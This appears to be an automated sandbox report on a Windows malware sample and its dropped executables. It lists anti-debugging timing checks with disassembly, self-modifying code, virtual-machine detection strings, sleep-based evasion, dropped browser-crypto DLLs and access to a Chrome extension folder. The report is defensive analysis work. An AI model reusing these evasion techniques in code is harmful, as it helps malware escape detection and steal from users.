Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E08DF second address: 49E093A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007FB424542859h 0x00000011 and esp, FFFFFFF8h 0x00000014 pushad 0x00000015 mov cl, 8Bh 0x00000017 mov bx, 30FCh 0x0000001b popad 0x0000001c push edx 0x0000001d jmp 00007FB424542850h 0x00000022 mov dword ptr [esp], ebx 0x00000025 jmp 00007FB424542850h 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E093A second address: 49E0957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0957 second address: 49E099A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB424542853h 0x00000009 sub al, FFFFFFEEh 0x0000000c jmp 00007FB424542859h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 movsx ebx, ax 0x0000001a push eax 0x0000001b push edx 0x0000001c mov eax, 4DBF0705h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E099A second address: 49E099E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E099E second address: 49E09B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB42454284Dh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E09B5 second address: 49E09F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB4246CBDEAh 0x00000009 add ax, 9CC8h 0x0000000e jmp 00007FB4246CBDEBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB4246CBDF5h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E09F1 second address: 49E0A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB42454284Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0A01 second address: 49E0A05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0A05 second address: 49E0A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d jmp 00007FB42454284Ch 0x00000012 test esi, esi 0x00000014 jmp 00007FB424542850h 0x00000019 je 00007FB496A881A4h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FB42454284Eh 0x00000026 sub ax, 33E8h 0x0000002b jmp 00007FB42454284Bh 0x00000030 popfd 0x00000031 push esi 0x00000032 pop eax 0x00000033 popad 0x00000034 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FB42454284Ch 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0A6F second address: 49E0A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0A75 second address: 49E0AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FB424542856h 0x00000016 add ax, EBD8h 0x0000001b jmp 00007FB42454284Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0AB5 second address: 49E0ACA instructions: 0x00000000 rdtsc 0x00000002 mov si, D28Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007FB496C116CBh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0ACA second address: 49E0ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0ACE second address: 49E0AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0AD4 second address: 49E0AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0AFB second address: 49E0B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0B01 second address: 49E0B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0B07 second address: 49E0B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FB496C1168Dh 0x0000000e jmp 00007FB4246CBDEAh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 mov eax, 3547F99Dh 0x0000001c pushfd 0x0000001d jmp 00007FB4246CBDEAh 0x00000022 xor esi, 1F4FDAF8h 0x00000028 jmp 00007FB4246CBDEBh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 jmp 00007FB4246CBDF6h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov di, cx 0x0000003c jmp 00007FB4246CBDF8h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0B7D second address: 49E0BAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FB424542856h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0BAA second address: 49E0BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0BAE second address: 49E0BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0BB2 second address: 49E0BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0C43 second address: 49E0C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0C47 second address: 49E0C64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Special instruction interceptor: First address: 59EB27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Special instruction interceptor: First address: 59C54E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Special instruction interceptor: First address: 59EB2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: C0EB27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: C0C54E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: C0EB2D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

Code function: 6_2_04A60000 rdtsc

6_2_04A60000

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3097	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2069	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1102	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 410	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 1052	Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\1jPL5zru3u.exe TID: 6976	Thread sleep count: 238 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7368	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7352	Thread sleep count: 1102 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7352	Thread sleep time: -2205102s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7296	Thread sleep count: 410 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7296	Thread sleep time: -12300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7600	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7344	Thread sleep count: 1052 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7344	Thread sleep time: -2105052s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C3DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C3DC930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}m
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vmware
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000D.00000002.2373129354.0000000000D9D000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.000000000101C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.000000000101C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.000000000101C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000EEC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: CAEHDBAAEC.exe, 00000006.00000002.1925142002.000000000072D000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000A.00000002.2898993813.0000000000D9D000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000B.00000002.1962533242.0000000000D9D000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000D.00000002.2373129354.0000000000D9D000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API 